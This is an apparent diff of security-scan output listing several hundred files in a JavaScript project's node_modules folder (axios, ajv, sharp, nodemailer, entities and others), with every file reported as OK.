+/scan/node_modules/axios/lib/core/README.md: OK
+/scan/node_modules/axios/lib/core/dispatchRequest.js: OK
+/scan/node_modules/axios/lib/core/buildFullPath.js: OK
+/scan/node_modules/axios/lib/core/transformData.js: OK
+/scan/node_modules/axios/lib/core/AxiosHeaders.js: OK
+/scan/node_modules/axios/lib/core/mergeConfig.js: OK
+/scan/node_modules/axios/lib/platform/index.js: OK
+/scan/node_modules/axios/lib/platform/browser/classes/URLSearchParams.js: OK
+/scan/node_modules/axios/lib/platform/browser/classes/Blob.js: OK
+/scan/node_modules/axios/lib/platform/browser/classes/FormData.js: OK
+/scan/node_modules/axios/lib/platform/browser/index.js: OK
+/scan/node_modules/axios/lib/platform/common/utils.js: OK
+/scan/node_modules/axios/lib/platform/node/classes/URLSearchParams.js: OK
+/scan/node_modules/axios/lib/platform/node/classes/FormData.js: OK
+/scan/node_modules/axios/lib/platform/node/index.js: OK
+/scan/node_modules/axios/lib/env/classes/FormData.js: OK
+/scan/node_modules/axios/lib/env/README.md: OK
+/scan/node_modules/axios/lib/env/data.js: OK
+/scan/node_modules/axios/lib/adapters/fetch.js: OK
+/scan/node_modules/axios/lib/adapters/README.md: OK
+/scan/node_modules/axios/lib/adapters/adapters.js: OK
+/scan/node_modules/axios/lib/adapters/xhr.js: OK
+/scan/node_modules/axios/lib/adapters/http.js: OK
+/scan/node_modules/axios/lib/defaults/transitional.js: OK
+/scan/node_modules/axios/lib/defaults/index.js: OK
+/scan/node_modules/axios/lib/utils.js: OK
+/scan/node_modules/axios/lib/helpers/combineURLs.js: OK
+/scan/node_modules/axios/lib/helpers/parseProtocol.js: OK
+/scan/node_modules/axios/lib/helpers/fromDataURI.js: OK
+/scan/node_modules/axios/lib/helpers/deprecatedMethod.js: OK
+/scan/node_modules/axios/lib/helpers/buildURL.js: OK
+/scan/node_modules/axios/lib/helpers/AxiosTransformStream.js: OK
+/scan/node_modules/axios/lib/helpers/null.js: OK
+/scan/node_modules/axios/lib/helpers/isURLSameOrigin.js: OK
+/scan/node_modules/axios/lib/helpers/isAbsoluteURL.js: OK
+/scan/node_modules/axios/lib/helpers/AxiosURLSearchParams.js: OK
+/scan/node_modules/axios/lib/helpers/callbackify.js: OK
+/scan/node_modules/axios/lib/helpers/isAxiosError.js: OK
+/scan/node_modules/axios/lib/helpers/toFormData.js: OK
+/scan/node_modules/axios/lib/helpers/cookies.js: OK
+/scan/node_modules/axios/lib/helpers/estimateDataURLDecodedBytes.js: OK
+/scan/node_modules/axios/lib/helpers/trackStream.js: OK
+/scan/node_modules/axios/lib/helpers/validator.js: OK
+/scan/node_modules/axios/lib/helpers/composeSignals.js: OK
+/scan/node_modules/axios/lib/helpers/ZlibHeaderTransformStream.js: OK
+/scan/node_modules/axios/lib/helpers/README.md: OK
+/scan/node_modules/axios/lib/helpers/HttpStatusCode.js: OK
+/scan/node_modules/axios/lib/helpers/formDataToStream.js: OK
+/scan/node_modules/axios/lib/helpers/throttle.js: OK
+/scan/node_modules/axios/lib/helpers/formDataToJSON.js: OK
+/scan/node_modules/axios/lib/helpers/speedometer.js: OK
+/scan/node_modules/axios/lib/helpers/bind.js: OK
+/scan/node_modules/axios/lib/helpers/progressEventReducer.js: OK
+/scan/node_modules/axios/lib/helpers/readBlob.js: OK
+/scan/node_modules/axios/lib/helpers/spread.js: OK
+/scan/node_modules/axios/lib/helpers/toURLEncodedForm.js: OK
+/scan/node_modules/axios/lib/helpers/resolveConfig.js: OK
+/scan/node_modules/axios/lib/helpers/shouldBypassProxy.js: OK
+/scan/node_modules/axios/lib/helpers/parseHeaders.js: OK
+/scan/node_modules/axios/index.d.ts: OK
+/scan/node_modules/buffer-from/LICENSE: OK
+/scan/node_modules/buffer-from/index.js: OK
+/scan/node_modules/buffer-from/readme.md: OK
+/scan/node_modules/buffer-from/package.json: OK
+/scan/node_modules/braces/LICENSE: OK
+/scan/node_modules/braces/index.js: OK
+/scan/node_modules/braces/README.md: OK
+/scan/node_modules/braces/package.json: OK
+/scan/node_modules/braces/lib/constants.js: OK
+/scan/node_modules/braces/lib/stringify.js: OK
+/scan/node_modules/braces/lib/parse.js: OK
+/scan/node_modules/braces/lib/expand.js: OK
+/scan/node_modules/braces/lib/utils.js: OK
+/scan/node_modules/braces/lib/compile.js: OK
+/scan/node_modules/js-md5/CHANGELOG.md: OK
+/scan/node_modules/js-md5/README.md: OK
+/scan/node_modules/js-md5/package.json: OK
+/scan/node_modules/js-md5/build/md5.min.js: OK
+/scan/node_modules/js-md5/LICENSE.txt: OK
+/scan/node_modules/js-md5/index.d.ts: OK
+/scan/node_modules/js-md5/src/md5.js: OK
+/scan/node_modules/which/LICENSE: OK
+/scan/node_modules/which/bin/node-which: OK
+/scan/node_modules/which/CHANGELOG.md: OK
+/scan/node_modules/which/README.md: OK
+/scan/node_modules/which/which.js: OK
+/scan/node_modules/which/package.json: OK
+/scan/node_modules/side-channel-map/LICENSE: OK
+/scan/node_modules/side-channel-map/test/index.js: OK
+/scan/node_modules/side-channel-map/CHANGELOG.md: OK
+/scan/node_modules/side-channel-map/.eslintrc: OK
+/scan/node_modules/side-channel-map/index.js: OK
+/scan/node_modules/side-channel-map/.editorconfig: OK
+/scan/node_modules/side-channel-map/README.md: OK
+/scan/node_modules/side-channel-map/package.json: OK
+/scan/node_modules/side-channel-map/.github/FUNDING.yml: OK
+/scan/node_modules/side-channel-map/tsconfig.json: OK
+/scan/node_modules/side-channel-map/.nycrc: OK
+/scan/node_modules/side-channel-map/index.d.ts: OK
+/scan/node_modules/string-width-cjs/license: OK
+/scan/node_modules/string-width-cjs/node_modules/emoji-regex/index.js: OK
+/scan/node_modules/string-width-cjs/node_modules/emoji-regex/LICENSE-MIT.txt: OK
+/scan/node_modules/string-width-cjs/node_modules/emoji-regex/README.md: OK
+/scan/node_modules/string-width-cjs/node_modules/emoji-regex/package.json: OK
+/scan/node_modules/string-width-cjs/node_modules/emoji-regex/es2015/index.js: OK
+/scan/node_modules/string-width-cjs/node_modules/emoji-regex/es2015/text.js: OK
+/scan/node_modules/string-width-cjs/node_modules/emoji-regex/index.d.ts: OK
+/scan/node_modules/string-width-cjs/node_modules/emoji-regex/text.js: OK
+/scan/node_modules/string-width-cjs/index.js: OK
+/scan/node_modules/string-width-cjs/readme.md: OK
+/scan/node_modules/string-width-cjs/package.json: OK
+/scan/node_modules/string-width-cjs/index.d.ts: OK
+/scan/node_modules/ajv/LICENSE: OK
+/scan/node_modules/ajv/dist/ajv.min.js: OK
+/scan/node_modules/ajv/dist/ajv.bundle.js: OK
+/scan/node_modules/ajv/dist/ajv.min.js.map: OK
+/scan/node_modules/ajv/README.md: OK
+/scan/node_modules/ajv/package.json: OK
+/scan/node_modules/ajv/scripts/.eslintrc.yml: OK
+/scan/node_modules/ajv/scripts/travis-gh-pages: OK
+/scan/node_modules/ajv/scripts/bundle.js: OK
+/scan/node_modules/ajv/scripts/info: OK
+/scan/node_modules/ajv/scripts/compile-dots.js: OK
+/scan/node_modules/ajv/scripts/publish-built-version: OK
+/scan/node_modules/ajv/scripts/prepare-tests: OK
+/scan/node_modules/ajv/lib/dot/coerce.def: OK
+/scan/node_modules/ajv/lib/dot/_limitItems.jst: OK
+/scan/node_modules/ajv/lib/dot/items.jst: OK
+/scan/node_modules/ajv/lib/dot/custom.jst: OK
+/scan/node_modules/ajv/lib/dot/const.jst: OK
+/scan/node_modules/ajv/lib/dot/properties.jst: OK
+/scan/node_modules/ajv/lib/dot/enum.jst: OK
+/scan/node_modules/ajv/lib/dot/oneOf.jst: OK
+/scan/node_modules/ajv/lib/dot/errors.def: OK
+/scan/node_modules/ajv/lib/dot/uniqueItems.jst: OK
+/scan/node_modules/ajv/lib/dot/allOf.jst: OK
+/scan/node_modules/ajv/lib/dot/pattern.jst: OK
+/scan/node_modules/ajv/lib/dot/if.jst: OK
+/scan/node_modules/ajv/lib/dot/_limit.jst: OK
+/scan/node_modules/ajv/lib/dot/propertyNames.jst: OK
+/scan/node_modules/ajv/lib/dot/defaults.def: OK
+/scan/node_modules/ajv/lib/dot/anyOf.jst: OK
+/scan/node_modules/ajv/lib/dot/comment.jst: OK
+/scan/node_modules/ajv/lib/dot/missing.def: OK
+/scan/node_modules/ajv/lib/dot/validate.jst: OK
+/scan/node_modules/ajv/lib/dot/definitions.def: OK
+/scan/node_modules/ajv/lib/dot/multipleOf.jst: OK
+/scan/node_modules/ajv/lib/dot/dependencies.jst: OK
+/scan/node_modules/ajv/lib/dot/required.jst: OK
+/scan/node_modules/ajv/lib/dot/not.jst: OK
+/scan/node_modules/ajv/lib/dot/ref.jst: OK
+/scan/node_modules/ajv/lib/dot/contains.jst: OK
+/scan/node_modules/ajv/lib/dot/_limitLength.jst: OK
+/scan/node_modules/ajv/lib/dot/_limitProperties.jst: OK
+/scan/node_modules/ajv/lib/dot/format.jst: OK
+/scan/node_modules/ajv/lib/ajv.d.ts: OK
+/scan/node_modules/ajv/lib/cache.js: OK
+/scan/node_modules/ajv/lib/compile/util.js: OK
+/scan/node_modules/ajv/lib/compile/rules.js: OK
+/scan/node_modules/ajv/lib/compile/schema_obj.js: OK
+/scan/node_modules/ajv/lib/compile/index.js: OK
+/scan/node_modules/ajv/lib/compile/equal.js: OK
+/scan/node_modules/ajv/lib/compile/resolve.js: OK
+/scan/node_modules/ajv/lib/compile/error_classes.js: OK
+/scan/node_modules/ajv/lib/compile/async.js: OK
+/scan/node_modules/ajv/lib/compile/ucs2length.js: OK
+/scan/node_modules/ajv/lib/compile/formats.js: OK
+/scan/node_modules/ajv/lib/data.js: OK
+/scan/node_modules/ajv/lib/refs/json-schema-secure.json: OK
+/scan/node_modules/ajv/lib/refs/json-schema-draft-04.json: OK
+/scan/node_modules/ajv/lib/refs/data.json: OK
+/scan/node_modules/ajv/lib/refs/json-schema-draft-07.json: OK
+/scan/node_modules/ajv/lib/refs/json-schema-draft-06.json: OK
+/scan/node_modules/ajv/lib/dotjs/required.js: OK
+/scan/node_modules/ajv/lib/dotjs/oneOf.js: OK
+/scan/node_modules/ajv/lib/dotjs/_limitLength.js: OK
+/scan/node_modules/ajv/lib/dotjs/multipleOf.js: OK
+/scan/node_modules/ajv/lib/dotjs/_limitItems.js: OK
+/scan/node_modules/ajv/lib/dotjs/pattern.js: OK
+/scan/node_modules/ajv/lib/dotjs/format.js: OK
+/scan/node_modules/ajv/lib/dotjs/_limitProperties.js: OK
+/scan/node_modules/ajv/lib/dotjs/_limit.js: OK
+/scan/node_modules/ajv/lib/dotjs/properties.js: OK
+/scan/node_modules/ajv/lib/dotjs/index.js: OK
+/scan/node_modules/ajv/lib/dotjs/custom.js: OK
+/scan/node_modules/ajv/lib/dotjs/comment.js: OK
+/scan/node_modules/ajv/lib/dotjs/README.md: OK
+/scan/node_modules/ajv/lib/dotjs/allOf.js: OK
+/scan/node_modules/ajv/lib/dotjs/enum.js: OK
+/scan/node_modules/ajv/lib/dotjs/anyOf.js: OK
+/scan/node_modules/ajv/lib/dotjs/if.js: OK
+/scan/node_modules/ajv/lib/dotjs/dependencies.js: OK
+/scan/node_modules/ajv/lib/dotjs/const.js: OK
+/scan/node_modules/ajv/lib/dotjs/items.js: OK
+/scan/node_modules/ajv/lib/dotjs/contains.js: OK
+/scan/node_modules/ajv/lib/dotjs/uniqueItems.js: OK
+/scan/node_modules/ajv/lib/dotjs/not.js: OK
+/scan/node_modules/ajv/lib/dotjs/validate.js: OK
+/scan/node_modules/ajv/lib/dotjs/propertyNames.js: OK
+/scan/node_modules/ajv/lib/dotjs/ref.js: OK
+/scan/node_modules/ajv/lib/keyword.js: OK
+/scan/node_modules/ajv/lib/ajv.js: OK
+/scan/node_modules/ajv/lib/definition_schema.js: OK
+/scan/node_modules/ajv/.tonic_example.js: OK
+/scan/node_modules/google-logging-utils/LICENSE: OK
+/scan/node_modules/google-logging-utils/package.json: OK
+/scan/node_modules/google-logging-utils/build/src/colours.js.map: OK
+/scan/node_modules/google-logging-utils/build/src/logging-utils.js: OK
+/scan/node_modules/google-logging-utils/build/src/temporal.js: OK
+/scan/node_modules/google-logging-utils/build/src/colours.d.ts: OK
+/scan/node_modules/google-logging-utils/build/src/logging-utils.js.map: OK
+/scan/node_modules/google-logging-utils/build/src/index.js: OK
+/scan/node_modules/google-logging-utils/build/src/colours.js: OK
+/scan/node_modules/google-logging-utils/build/src/index.js.map: OK
+/scan/node_modules/google-logging-utils/build/src/index.d.ts: OK
+/scan/node_modules/google-logging-utils/build/src/logging-utils.d.ts: OK
+/scan/node_modules/google-logging-utils/build/src/temporal.d.ts: OK
+/scan/node_modules/google-logging-utils/build/src/temporal.js.map: OK
+/scan/node_modules/emoji-regex/index.js: OK
+/scan/node_modules/emoji-regex/LICENSE-MIT.txt: OK
+/scan/node_modules/emoji-regex/README.md: OK
+/scan/node_modules/emoji-regex/package.json: OK
+/scan/node_modules/emoji-regex/index.mjs: OK
+/scan/node_modules/emoji-regex/index.d.ts: OK
+/scan/node_modules/object-inspect/LICENSE: OK
+/scan/node_modules/object-inspect/test/number.js: OK
+/scan/node_modules/object-inspect/test/element.js: OK
+/scan/node_modules/object-inspect/test/indent-option.js: OK
+/scan/node_modules/object-inspect/test/bigint.js: OK
+/scan/node_modules/object-inspect/test/toStringTag.js: OK
+/scan/node_modules/object-inspect/test/holes.js: OK
+/scan/node_modules/object-inspect/test/global.js: OK
+/scan/node_modules/object-inspect/test/values.js: OK
+/scan/node_modules/object-inspect/test/browser/dom.js: OK
+/scan/node_modules/object-inspect/test/has.js: OK
+/scan/node_modules/object-inspect/test/deep.js: OK
+/scan/node_modules/object-inspect/test/err.js: OK
+/scan/node_modules/object-inspect/test/undef.js: OK
+/scan/node_modules/object-inspect/test/fn.js: OK
+/scan/node_modules/object-inspect/test/circular.js: OK
+/scan/node_modules/object-inspect/test/inspect.js: OK
+/scan/node_modules/object-inspect/test/quoteStyle.js: OK
+/scan/node_modules/object-inspect/test/lowbyte.js: OK
+/scan/node_modules/object-inspect/test/fakes.js: OK
+/scan/node_modules/object-inspect/CHANGELOG.md: OK
+/scan/node_modules/object-inspect/example/all.js: OK
+/scan/node_modules/object-inspect/example/fn.js: OK
+/scan/node_modules/object-inspect/example/circular.js: OK
+/scan/node_modules/object-inspect/example/inspect.js: OK
+/scan/node_modules/object-inspect/.eslintrc: OK
+/scan/node_modules/object-inspect/index.js: OK
+/scan/node_modules/object-inspect/readme.markdown: OK
+/scan/node_modules/object-inspect/util.inspect.js: OK
+/scan/node_modules/object-inspect/package.json: OK
+/scan/node_modules/object-inspect/.github/FUNDING.yml: OK
+/scan/node_modules/object-inspect/test-core-js.js: OK
+/scan/node_modules/object-inspect/.nycrc: OK
+/scan/node_modules/object-inspect/package-support.json: OK
+/scan/node_modules/sharp/install/build.js: OK
+/scan/node_modules/sharp/install/check.js: OK
+/scan/node_modules/sharp/LICENSE: OK
+/scan/node_modules/sharp/README.md: OK
+/scan/node_modules/sharp/package.json: OK
+/scan/node_modules/sharp/lib/channel.js: OK
+/scan/node_modules/sharp/lib/utility.js: OK
+/scan/node_modules/sharp/lib/is.js: OK
+/scan/node_modules/sharp/lib/operation.js: OK
+/scan/node_modules/sharp/lib/sharp.js: OK
+/scan/node_modules/sharp/lib/constructor.js: OK
+/scan/node_modules/sharp/lib/index.js: OK
+/scan/node_modules/sharp/lib/libvips.js: OK
+/scan/node_modules/sharp/lib/output.js: OK
+/scan/node_modules/sharp/lib/colour.js: OK
+/scan/node_modules/sharp/lib/resize.js: OK
+/scan/node_modules/sharp/lib/index.d.ts: OK
+/scan/node_modules/sharp/lib/composite.js: OK
+/scan/node_modules/sharp/lib/input.js: OK
+/scan/node_modules/sharp/src/utilities.cc: OK
+/scan/node_modules/sharp/src/operations.h: OK
+/scan/node_modules/sharp/src/binding.gyp: OK
+/scan/node_modules/sharp/src/common.cc: OK
+/scan/node_modules/sharp/src/utilities.h: OK
+/scan/node_modules/sharp/src/operations.cc: OK
+/scan/node_modules/sharp/src/metadata.h: OK
+/scan/node_modules/sharp/src/pipeline.cc: OK
+/scan/node_modules/sharp/src/stats.cc: OK
+/scan/node_modules/sharp/src/common.h: OK
+/scan/node_modules/sharp/src/pipeline.h: OK
+/scan/node_modules/sharp/src/sharp.cc: OK
+/scan/node_modules/sharp/src/stats.h: OK
+/scan/node_modules/sharp/src/metadata.cc: OK
+/scan/node_modules/bidi-js/dist/bidi.min.js: OK
+/scan/node_modules/bidi-js/dist/bidi.min.mjs: OK
+/scan/node_modules/bidi-js/dist/bidi.js: OK
+/scan/node_modules/bidi-js/dist/bidi.mjs: OK
+/scan/node_modules/bidi-js/README.md: OK
+/scan/node_modules/bidi-js/package.json: OK
+/scan/node_modules/bidi-js/LICENSE.txt: OK
+/scan/node_modules/bidi-js/src/mirroring.js: OK
+/scan/node_modules/bidi-js/src/brackets.js: OK
+/scan/node_modules/bidi-js/src/util/parseCharacterMap.js: OK
+/scan/node_modules/bidi-js/src/embeddingLevels.js: OK
+/scan/node_modules/bidi-js/src/index.js: OK
+/scan/node_modules/bidi-js/src/reordering.js: OK
+/scan/node_modules/bidi-js/src/charTypes.js: OK
+/scan/node_modules/bidi-js/src/data/bidiBrackets.data.js: OK
+/scan/node_modules/bidi-js/src/data/bidiCharTypes.data.js: OK
+/scan/node_modules/bidi-js/src/data/bidiMirroring.data.js: OK
+/scan/node_modules/@eslint-community/eslint-utils/LICENSE: OK
+/scan/node_modules/@eslint-community/eslint-utils/index.d.mts: OK
+/scan/node_modules/@eslint-community/eslint-utils/index.js: OK
+/scan/node_modules/@eslint-community/eslint-utils/index.mjs.map: OK
+/scan/node_modules/@eslint-community/eslint-utils/README.md: OK
+/scan/node_modules/@eslint-community/eslint-utils/package.json: OK
+/scan/node_modules/@eslint-community/eslint-utils/index.mjs: OK
+/scan/node_modules/@eslint-community/eslint-utils/index.js.map: OK
+/scan/node_modules/@eslint-community/eslint-utils/index.d.ts: OK
+/scan/node_modules/@eslint-community/regexpp/LICENSE: OK
+/scan/node_modules/@eslint-community/regexpp/index.js: OK
+/scan/node_modules/@eslint-community/regexpp/index.mjs.map: OK
+/scan/node_modules/@eslint-community/regexpp/README.md: OK
+/scan/node_modules/@eslint-community/regexpp/package.json: OK
+/scan/node_modules/@eslint-community/regexpp/index.mjs: OK
+/scan/node_modules/@eslint-community/regexpp/index.js.map: OK
+/scan/node_modules/@eslint-community/regexpp/index.d.ts: OK
+/scan/node_modules/readable-stream/readable-browser.js: OK
+/scan/node_modules/readable-stream/LICENSE: OK
+/scan/node_modules/readable-stream/GOVERNANCE.md: OK
+/scan/node_modules/readable-stream/README.md: OK
+/scan/node_modules/readable-stream/errors-browser.js: OK
+/scan/node_modules/readable-stream/readable.js: OK
+/scan/node_modules/readable-stream/package.json: OK
+/scan/node_modules/readable-stream/errors.js: OK
+/scan/node_modules/readable-stream/CONTRIBUTING.md: OK
+/scan/node_modules/readable-stream/lib/internal/streams/stream.js: OK
+/scan/node_modules/readable-stream/lib/internal/streams/stream-browser.js: OK
+/scan/node_modules/readable-stream/lib/internal/streams/from-browser.js: OK
+/scan/node_modules/readable-stream/lib/internal/streams/destroy.js: OK
+/scan/node_modules/readable-stream/lib/internal/streams/from.js: OK
+/scan/node_modules/readable-stream/lib/internal/streams/async_iterator.js: OK
+/scan/node_modules/readable-stream/lib/internal/streams/state.js: OK
+/scan/node_modules/readable-stream/lib/internal/streams/buffer_list.js: OK
+/scan/node_modules/readable-stream/lib/internal/streams/end-of-stream.js: OK
+/scan/node_modules/readable-stream/lib/internal/streams/pipeline.js: OK
+/scan/node_modules/readable-stream/lib/_stream_passthrough.js: OK
+/scan/node_modules/readable-stream/lib/_stream_transform.js: OK
+/scan/node_modules/readable-stream/lib/_stream_duplex.js: OK
+/scan/node_modules/readable-stream/lib/_stream_readable.js: OK
+/scan/node_modules/readable-stream/lib/_stream_writable.js: OK
+/scan/node_modules/readable-stream/experimentalWarning.js: OK
+/scan/node_modules/nodemailer/CODE_OF_CONDUCT.md: OK
+/scan/node_modules/nodemailer/LICENSE: OK
+/scan/node_modules/nodemailer/CHANGELOG.md: OK
+/scan/node_modules/nodemailer/README.md: OK
+/scan/node_modules/nodemailer/SECURITY.txt: OK
+/scan/node_modules/nodemailer/package.json: OK
+/scan/node_modules/nodemailer/.prettierrc.js: OK
+/scan/node_modules/nodemailer/.gitattributes: OK
+/scan/node_modules/nodemailer/lib/smtp-pool/index.js: OK
+/scan/node_modules/nodemailer/lib/smtp-pool/pool-resource.js: OK
+/scan/node_modules/nodemailer/lib/addressparser/index.js: OK
+/scan/node_modules/nodemailer/lib/punycode/index.js: OK
+/scan/node_modules/nodemailer/lib/mime-node/last-newline.js: OK
+/scan/node_modules/nodemailer/lib/mime-node/le-unix.js: OK
+/scan/node_modules/nodemailer/lib/mime-node/index.js: OK
+/scan/node_modules/nodemailer/lib/mime-node/le-windows.js: OK
+/scan/node_modules/nodemailer/lib/ses-transport/index.js: OK
+/scan/node_modules/nodemailer/lib/mail-composer/index.js: OK
+/scan/node_modules/nodemailer/lib/base64/index.js: OK
+/scan/node_modules/nodemailer/lib/mailer/index.js: OK
+/scan/node_modules/nodemailer/lib/mailer/mail-message.js: OK
+/scan/node_modules/nodemailer/lib/shared/index.js: OK
+/scan/node_modules/nodemailer/lib/nodemailer.js: OK
+/scan/node_modules/nodemailer/lib/json-transport/index.js: OK
+/scan/node_modules/nodemailer/lib/stream-transport/index.js: OK
+/scan/node_modules/nodemailer/lib/fetch/cookies.js: OK
+/scan/node_modules/nodemailer/lib/fetch/index.js: OK
+/scan/node_modules/nodemailer/lib/well-known/services.json: OK
+/scan/node_modules/nodemailer/lib/well-known/index.js: OK
+/scan/node_modules/nodemailer/lib/xoauth2/index.js: OK
+/scan/node_modules/nodemailer/lib/sendmail-transport/index.js: OK
+/scan/node_modules/nodemailer/lib/smtp-connection/index.js: OK
+/scan/node_modules/nodemailer/lib/smtp-connection/http-proxy-client.js: OK
+/scan/node_modules/nodemailer/lib/smtp-connection/data-stream.js: OK
+/scan/node_modules/nodemailer/lib/qp/index.js: OK
+/scan/node_modules/nodemailer/lib/dkim/relaxed-body.js: OK
+/scan/node_modules/nodemailer/lib/dkim/index.js: OK
+/scan/node_modules/nodemailer/lib/dkim/sign.js: OK
+/scan/node_modules/nodemailer/lib/dkim/message-parser.js: OK
+/scan/node_modules/nodemailer/lib/mime-funcs/mime-types.js: OK
+/scan/node_modules/nodemailer/lib/mime-funcs/index.js: OK
+/scan/node_modules/nodemailer/lib/smtp-transport/index.js: OK
+/scan/node_modules/nodemailer/.ncurc.js: OK
+/scan/node_modules/type-check/LICENSE: OK
+/scan/node_modules/type-check/README.md: OK
+/scan/node_modules/type-check/package.json: OK
+/scan/node_modules/type-check/lib/parse-type.js: OK
+/scan/node_modules/type-check/lib/index.js: OK
+/scan/node_modules/type-check/lib/check.js: OK
+/scan/node_modules/locate-path/license: OK
+/scan/node_modules/locate-path/index.js: OK
+/scan/node_modules/locate-path/readme.md: OK
+/scan/node_modules/locate-path/package.json: OK
+/scan/node_modules/locate-path/index.d.ts: OK
+/scan/node_modules/.vite/vitest/results.json: OK
+/scan/node_modules/mkdirp/LICENSE: OK
+/scan/node_modules/mkdirp/bin/cmd.js: OK
+/scan/node_modules/mkdirp/bin/usage.txt: OK
+/scan/node_modules/mkdirp/index.js: OK
+/scan/node_modules/mkdirp/readme.markdown: OK
+/scan/node_modules/mkdirp/package.json: OK
+/scan/node_modules/graceful-fs/LICENSE: OK
+/scan/node_modules/graceful-fs/polyfills.js: OK
+/scan/node_modules/graceful-fs/README.md: OK
+/scan/node_modules/graceful-fs/graceful-fs.js: OK
+/scan/node_modules/graceful-fs/package.json: OK
+/scan/node_modules/graceful-fs/clone.js: OK
+/scan/node_modules/graceful-fs/legacy-streams.js: OK
+/scan/node_modules/on-finished/LICENSE: OK
+/scan/node_modules/on-finished/HISTORY.md: OK
+/scan/node_modules/on-finished/index.js: OK
+/scan/node_modules/on-finished/README.md: OK
+/scan/node_modules/on-finished/package.json: OK
+/scan/node_modules/fflate/LICENSE: OK
+/scan/node_modules/fflate/CHANGELOG.md: OK
+/scan/node_modules/fflate/esm/index.d.mts: OK
+/scan/node_modules/fflate/esm/index.mjs: OK
+/scan/node_modules/fflate/esm/browser.js: OK
+/scan/node_modules/fflate/esm/browser.d.ts: OK
+/scan/node_modules/fflate/umd/index.js: OK
+/scan/node_modules/fflate/README.md: OK
+/scan/node_modules/fflate/package.json: OK
+/scan/node_modules/fflate/lib/node.cjs: OK
+/scan/node_modules/fflate/lib/worker.cjs: OK
+/scan/node_modules/fflate/lib/node-worker.cjs: OK
+/scan/node_modules/fflate/lib/browser.cjs: OK
+/scan/node_modules/fflate/lib/node.d.cts: OK
+/scan/node_modules/fflate/lib/index.cjs: OK
+/scan/node_modules/fflate/lib/browser.d.cts: OK
+/scan/node_modules/fflate/lib/index.d.ts: OK
+/scan/node_modules/entities/LICENSE: OK
+/scan/node_modules/entities/readme.md: OK
+/scan/node_modules/entities/package.json: OK
+/scan/node_modules/entities/lib/generated/encode-html.d.ts.map: OK
+/scan/node_modules/entities/lib/generated/decode-data-html.d.ts: OK
+/scan/node_modules/entities/lib/generated/decode-data-xml.d.ts: OK
+/scan/node_modules/entities/lib/generated/decode-data-html.js.map: OK
+/scan/node_modules/entities/lib/generated/encode-html.d.ts: OK
+/scan/node_modules/entities/lib/generated/decode-data-xml.js.map: OK
+/scan/node_modules/entities/lib/generated/decode-data-html.d.ts.map: OK
+/scan/node_modules/entities/lib/generated/decode-data-xml.d.ts.map: OK
+/scan/node_modules/entities/lib/generated/encode-html.js.map: OK
+/scan/node_modules/entities/lib/generated/decode-data-html.js: OK
+/scan/node_modules/entities/lib/generated/decode-data-xml.js: OK
+/scan/node_modules/entities/lib/generated/encode-html.js: OK
+/scan/node_modules/entities/lib/encode.d.ts.map: OK
+/scan/node_modules/entities/lib/escape.d.ts: OK
+/scan/node_modules/entities/lib/decode_codepoint.js.map: OK
+/scan/node_modules/entities/lib/encode.d.ts: OK
+/scan/node_modules/entities/lib/esm/generated/encode-html.d.ts.map: OK
+/scan/node_modules/entities/lib/esm/generated/decode-data-html.d.ts: OK
+/scan/node_modules/entities/lib/esm/generated/decode-data-xml.d.ts: OK
+/scan/node_modules/entities/lib/esm/generated/decode-data-html.js.map: OK
+/scan/node_modules/entities/lib/esm/generated/encode-html.d.ts: OK
+/scan/node_modules/entities/lib/esm/generated/decode-data-xml.js.map: OK
+/scan/node_modules/entities/lib/esm/generated/decode-data-html.d.ts.map: OK
+/scan/node_modules/entities/lib/esm/generated/decode-data-xml.d.ts.map: OK
+/scan/node_modules/entities/lib/esm/generated/encode-html.js.map: OK
+/scan/node_modules/entities/lib/esm/generated/decode-data-html.js: OK
+/scan/node_modules/entities/lib/esm/generated/decode-data-xml.js: OK
+/scan/node_modules/entities/lib/esm/generated/encode-html.js: OK
+/scan/node_modules/entities/lib/esm/encode.d.ts.map: OK
+/scan/node_modules/entities/lib/esm/escape.d.ts: OK
+/scan/node_modules/entities/lib/esm/decode_codepoint.js.map: OK
+/scan/node_modules/entities/lib/esm/encode.d.ts: OK
+/scan/node_modules/entities/lib/esm/escape.d.ts.map: OK
+/scan/node_modules/entities/lib/esm/escape.js: OK
+/scan/node_modules/entities/lib/esm/index.js: OK
+/scan/node_modules/entities/lib/esm/encode.js: OK
+/scan/node_modules/entities/lib/esm/decode.d.ts: OK
+/scan/node_modules/entities/lib/esm/decode.js: OK
+/scan/node_modules/entities/lib/esm/package.json: OK
+/scan/node_modules/entities/lib/esm/decode_codepoint.js: OK
+/scan/node_modules/entities/lib/esm/decode_codepoint.d.ts: OK
+/scan/node_modules/entities/lib/esm/decode.js.map: OK
+/scan/node_modules/entities/lib/esm/index.js.map: OK
+/scan/node_modules/entities/lib/esm/decode.d.ts.map: OK
+/scan/node_modules/entities/lib/esm/decode_codepoint.d.ts.map: OK
+/scan/node_modules/entities/lib/esm/encode.js.map: OK
+/scan/node_modules/entities/lib/esm/escape.js.map: OK
+/scan/node_modules/entities/lib/esm/index.d.ts: OK
+/scan/node_modules/entities/lib/esm/index.d.ts.map: OK
+/scan/node_modules/entities/lib/escape.d.ts.map: OK
+/scan/node_modules/entities/lib/escape.js: OK
+/scan/node_modules/entities/lib/index.js: OK
+/scan/node_modules/entities/lib/encode.js: OK
+/scan/node_modules/entities/lib/decode.d.ts: OK
+/scan/node_modules/entities/lib/decode.js: OK
+/scan/node_modules/entities/lib/decode_codepoint.js: OK
+/scan/node_modules/entities/lib/decode_codepoint.d.ts: OK
+/scan/node_modules/entities/lib/decode.js.map: OK
+/scan/node_modules/entities/lib/index.js.map: OK
+/scan/node_modules/entities/lib/decode.d.ts.map: OK
+/scan/node_modules/entities/lib/decode_codepoint.d.ts.map: OK
+/scan/node_modules/entities/lib/encode.js.map: OK
+/scan/node_modules/entities/lib/escape.js.map: OK
+/scan/node_modules/entities/lib/index.d.ts: OK
+/scan/node_modules/entities/lib/index.d.ts.map: OK
+/scan/node_modules/resend/LICENSE: OK
+/scan/node_modules/resend/dist/index.d.mts: OK
+/scan/node_modules/resend/dist/index.js: OK
+/scan/node_modules/resend/dist/index.mjs: OK
+/scan/node_modules/resend/dist/index.d.ts: OK
+/scan/node_modules/resend/readme.md: OK
+/scan/node_modules/resend/package.json: OK
+/scan/node_modules/human-signals/LICENSE: OK
+/scan/node_modules/human-signals/README.md: OK
+/scan/node_modules/human-signals/package.json: OK
+/scan/node_modules/human-signals/build/src/core.js: OK
+/scan/node_modules/human-signals/build/src/signals.js: OK
+/scan/node_modules/human-signals/build/src/main.d.ts: OK
+/scan/node_modules/human-signals/build/src/realtime.js: OK
